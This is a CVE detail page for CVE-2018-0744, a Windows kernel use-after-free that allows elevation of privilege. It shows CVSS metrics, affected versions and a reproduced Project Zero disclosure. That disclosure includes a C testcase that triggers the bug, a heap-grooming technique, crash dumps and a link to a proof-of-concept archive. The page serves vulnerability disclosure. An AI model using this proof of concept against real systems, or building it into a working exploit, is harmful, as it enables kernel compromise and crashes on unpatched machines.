CVE-2018-0744 : Detail

CVE-2018-0744

7
/
High
36.26%V3
Local
2018-01-04
14h00 +00:00
2024-09-16
18h08 +00:00
CVE.org
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CVE Descriptions

The Windows kernel in Windows 8.1 and RT 8.1, Windows Server 2012 and R2, Windows 10 Gold, 1511, 1607, 1703 and 1709, Windows Server 2016 and Windows Server, version 1709 allows an elevation of privilege vulnerability due to the way objects are handled in memory, aka "Windows Elevation of Privilege Vulnerability".

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE Other No informations.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 7 HIGH CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

High

A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 4.4 AV:L/AC:M/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 43446

Publication date : 2018-01-04
23h00 +00:00
Author : Google Security Research
EDB Verified : Yes

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1389&desc=6 Windows maintains a DC cache in win32kbase!gpDispInfo->pdceFirst. If you create multiple windows from a shared class while switching between CS_OWNDC and CS_CLASSDC, you can cause cache list entries to maintain references to free WND structures. There are two interesting background posts on CS_OWNDC and CS_CLASSDC here: https://blogs.msdn.microsoft.com/oldnewthing/20060601-06/?p=31003 https://blogs.msdn.microsoft.com/oldnewthing/20060602-00/?p=30993 Here is a minimal testcase: $ cat dccache.c #include <windows.h> #pragma comment(lib, "user32") int main(int argc, char **argv) { WNDCLASSEX WindowClass = {0}; HWND WindowA, WindowB, WindowC; ATOM Atom; WindowClass.cbSize = sizeof(WNDCLASSEX); WindowClass.lpfnWndProc = DefWindowProc; WindowClass.lpszClassName = "Class"; Atom = RegisterClassEx(&WindowClass); WindowA = CreateWindowEx(0, MAKEINTATOM(Atom), "One", 0, CW_USEDEFAULT, 0, 128, 128, NULL, NULL, NULL, NULL); SetClassLong(WindowA, GCL_STYLE, CS_CLASSDC); WindowB = CreateWindowEx(0, MAKEINTATOM(Atom), "Two", 0, CW_USEDEFAULT, 0, 128, 128, NULL, NULL, NULL, NULL); GetDC(WindowA); SetClassLong(WindowA, GCL_STYLE, CS_CLASSDC | CS_OWNDC); WindowC = CreateWindowEx(0, MAKEINTATOM(Atom), "Three", 0, CW_USEDEFAULT, 0, 128, 128, NULL, NULL, NULL, NULL); return 0; } This might take a while to crash though, something has to cause the list to be traversed (e.g. a new window opens) after the freed memory has changed. It can also crash in some very strange places. We can speed the process up by trying to get the allocation ourselves. First I need to know the size of a WND structure. If you look at the call to HMAllocObject() in win32kfull!xxxCreateWindowEx, you can see it's 240 bytes: .text:00081BCC _xxxCreateWindowEx@68 proc near ... .text:00081EE2 push 240 ; _DWORD .text:00081EE7 push 1 ; _DWORD .text:00081EE9 push [ebp+var_12C] ; _DWORD .text:00081EEF push ebx ; _DWORD .text:00081EF0 call ds:__imp__HMAllocObject@16 ; HMAllocObject(x,x,x,x) A well-known trick to get arbitrary sized allocations from the desktop heap is to use SetWindowText(), you just create a WCHAR string of the required length - good enough for testing. e.g. SetWindowTextW(Window, L"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..."); So my plan is to create a thread to trigger the free, and then try to steal the allocation. See the testcase attached for my code. This reliably crashes Windows 10 with version 10.0.15063.674, the crash looks like this: eax=00410041 ebx=00000010 ecx=95423580 edx=95423580 esi=99464440 edi=954004d0 eip=93fb40d8 esp=9dba78f0 ebp=9dba7910 iopl=0 nv up ei pl nz na pe cy cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010207 win32kfull!zzzLockDisplayAreaAndInvalidateDCCache+0xba: 93fb40d8 8b403c mov eax,dword ptr [eax+3Ch] ds:0023:0041007d=???????? 0: kd> kv # ChildEBP RetAddr Args to Child 00 9dba7910 93fb2722 00000000 0c6775a3 9dba7b80 win32kfull!zzzLockDisplayAreaAndInvalidateDCCache+0xba (FPO: [Non-Fpo]) 01 9dba7afc 93fd1916 0000c1ac 9dba7b74 00000000 win32kfull!xxxCreateWindowEx+0xb56 (FPO: [Non-Fpo]) 02 9dba7bc8 81d97397 80000000 0000c1ac 0000c1ac win32kfull!NtUserCreateWindowEx+0x2b0 (FPO: [Non-Fpo]) 03 9dba7bc8 77104350 80000000 0000c1ac 0000c1ac nt!KiSystemServicePostCall (FPO: [0,3] TrapFrame @ 9dba7c14) 04 0073f0b8 7497485a 74bae418 80000000 0000c1ac ntdll!KiFastSystemCallRet (FPO: [0,0,0]) 05 0073f0bc 74bae418 80000000 0000c1ac 0000c1ac win32u!NtUserCreateWindowEx+0xa (FPO: [17,0,0]) 06 0073f394 74badcff 0073f3e0 00000000 80000000 USER32!VerNtUserCreateWindowEx+0x22b (FPO: [Non-Fpo]) 07 0073f468 74baeaf8 00cc1010 00000000 80000000 USER32!CreateWindowInternal+0x153 (FPO: [Non-Fpo]) 08 0073f4a8 00cb1173 00000000 0000c1ac 00cc1010 USER32!CreateWindowExA+0x38 (FPO: [Non-Fpo]) So let's dump the DC Cache and see what it looks like, an entry looks something like: typedef struct _DCE { PDCE pdceNext; HANDLE hDC; PWND pwndOrg; PWND pwndClip; ... } DCE, *PDCE; # Make $t0 gpDispInfo->pdceFirst 0: kd> r $t0=poi(poi(win32kbase!gpDispInfo)+8) # Now dump the whole list: 0: kd> .while (@$t0) { .printf "dce %p ->pwndOrg %p\n",@$t0,poi(@$t0+8); r @$t0=poi(@$t0) } dce 99464440 ->pwndOrg 95423580 dce 922140e8 ->pwndOrg 00000000 dce 9239d638 ->pwndOrg 00000000 dce 9239beb0 ->pwndOrg 00000000 dce 99510540 ->pwndOrg 9541ede8 dce 92274178 ->pwndOrg 954004d0 dce 9223d2b0 ->pwndOrg 954004d0 dce 922050e8 ->pwndOrg 945504d0 So my theory is that one of these WND pointers is actually a bad reference, and look at this: 0: kd> du 95423580 95423580 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 954235c0 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 95423600 "AAAAAAAAAAA" There is the text I set via SetWindowText(). (The testcase I sent Microsoft triggered a couple of other BSOD I want fixed as well. I'm hoping whoever gets assigned this bug will just fix them, they're dead easy oneline fixes). Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/43446.zip

Products Mentioned

Configuraton 0

Microsoft>>Windows_10 >> Version -

Microsoft>>Windows_10 >> Version 1511

Microsoft>>Windows_10 >> Version 1607

Microsoft>>Windows_10 >> Version 1703

Microsoft>>Windows_10 >> Version 1709

Microsoft>>Windows_8.1 >> Version *

Microsoft>>Windows_rt_8.1 >> Version *

Microsoft>>Windows_server_2012 >> Version -

Microsoft>>Windows_server_2012 >> Version r2

Microsoft>>Windows_server_2016 >> Version -

Microsoft>>Windows_server_2016 >> Version 1709

References

http://www.securityfocus.com/bid/102351
Tags : vdb-entry, x_refsource_BID
http://www.securitytracker.com/id/1040090
Tags : vdb-entry, x_refsource_SECTRACK
https://www.exploit-db.com/exploits/43446/
Tags : exploit, x_refsource_EXPLOIT-DB